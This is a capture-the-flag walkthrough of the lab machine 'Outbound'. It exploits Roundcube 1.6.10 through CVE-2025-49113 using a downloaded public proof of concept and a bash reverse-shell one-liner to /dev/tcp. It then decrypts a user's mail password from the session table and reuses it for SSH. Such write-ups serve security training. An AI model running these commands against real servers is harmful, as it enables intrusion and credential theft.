Outbound
A Roundcube 1.6.10 webmail instance reached via a fuzzed vhost is exploited with provided credentials through CVE-2025-49113 — an unvalidated _from parameter that triggers PHP object deserialization for RCE — and a reversibly-encrypted password stored in the Roundcube session table is recovered with the app's own decrypt.sh to pivot to a user over SSH.
Overview
Outbound is an easy-difficulty Linux box built around an assumed-breach scenario: you are handed Roundcube webmail credentials and have to turn them into code execution. The webmail runs Roundcube 1.6.10, vulnerable to CVE-2025-49113 — a post-authentication PHP object deserialization bug in the settings upload handler — which gives a shell as www-data. From there the Roundcube database stores another user’s mail password in a reversible format that the application’s own helper script decrypts, and that password is reused for SSH. This post covers recon through the user flag.
Machine Matrix
Named CVE-2025-49113 Roundcube deserialization RCE is the whole foothold, followed by realistic reversible-password recovery via the app’s own decrypt helper; CVE dominates.
Recon
| Port | Service | Notes |
|---|---|---|
| 22/tcp | OpenSSH 9.6p1 | Ubuntu |
| 80/tcp | nginx 1.24.0 | redirects to outbound.htb |
1
nmap -sC -sV 10.10.10.10
Two ports. Port 80 redirects to http://outbound.htb/, so add the domain to /etc/hosts:
1
echo "10.10.10.10 outbound.htb" | sudo tee -a /etc/hosts
The root of outbound.htb is just the default nginx welcome page — no obvious application — so the next step is virtual-host enumeration.
Enumeration
Fuzz for subdomains using the Host header:
1
2
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-H "Host: FUZZ.outbound.htb" -u http://outbound.htb -mc 200
This returns mail.outbound.htb. Add it to /etc/hosts alongside the base domain and browse to it — it serves a Roundcube Webmail login form. The provided assumed-breach credentials (tyler:LhKL1o9Nm3X2) log in successfully. The inbox is empty, but the About dialog reveals the version: Roundcube 1.6.10.
Roundcube ≤1.6.10 is affected by CVE-2025-49113: the _from parameter in the settings image-upload handler (program/actions/settings/upload.php) is not validated, so a crafted serialized PHP object is passed to unserialize(). With the default-bundled PEAR / Crypt_GPG classes available as a gadget chain, an authenticated user can reach __destruct() and execute arbitrary commands — post-auth RCE.
Foothold
1 — RCE via CVE-2025-49113. Start a listener, then run the public PoC with the working credentials and a reverse-shell command:
1
nc -lvnp 4444
1
2
wget https://raw.githubusercontent.com/fearsoff-org/CVE-2025-49113/refs/heads/main/CVE-2025-49113.php
php CVE-2025-49113.php http://mail.outbound.htb tyler LhKL1o9Nm3X2 "bash -c 'bash -i >& /dev/tcp/10.10.14.2/4444 0>&1'"
The PoC fetches a CSRF token, authenticates, injects the serialized object, and forces deserialization. The listener catches a shell as www-data; upgrade it:
1
script /dev/null -c bash
2 — Recover a user password from the Roundcube DB. Roundcube’s config holds the MySQL connection string in plaintext:
1
2
cat /var/www/html/roundcube/config/config.inc.php
# $config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
Roundcube stores each user’s IMAP password in the PHP session so it can reconnect to the mail backend — encrypted, but reversibly, with a static DES key from the config. Dump the session table and decode the base64 blobs:
1
2
mysql -u roundcube -pRCDBPass2025 roundcube -e "select vars from session;"
echo '<base64_session_blob>' | base64 -d
One session belongs to jacob and contains password|s:32:"6h0Viri9COcVteO5TRZd3A1efRORYrub". Roundcube ships its own decryptor, which uses the config’s DES key:
1
2
find /var/www/html/roundcube -name decrypt.sh 2>/dev/null
/var/www/html/roundcube/bin/decrypt.sh 6h0Viri9COcVteO5TRZd3A1efRORYrub
This prints Jacob’s plaintext password.
3 — Reuse for SSH. The recovered password is reused on the host, so it authenticates over SSH:
1
ssh [email protected]
User flag
1
2
cat /home/jacob/user.txt
# [redacted]
Shell as jacob and the user flag are ours.
Privilege escalation (sudo below / CVE-2025-27591) is left as an exercise — this post stops at user.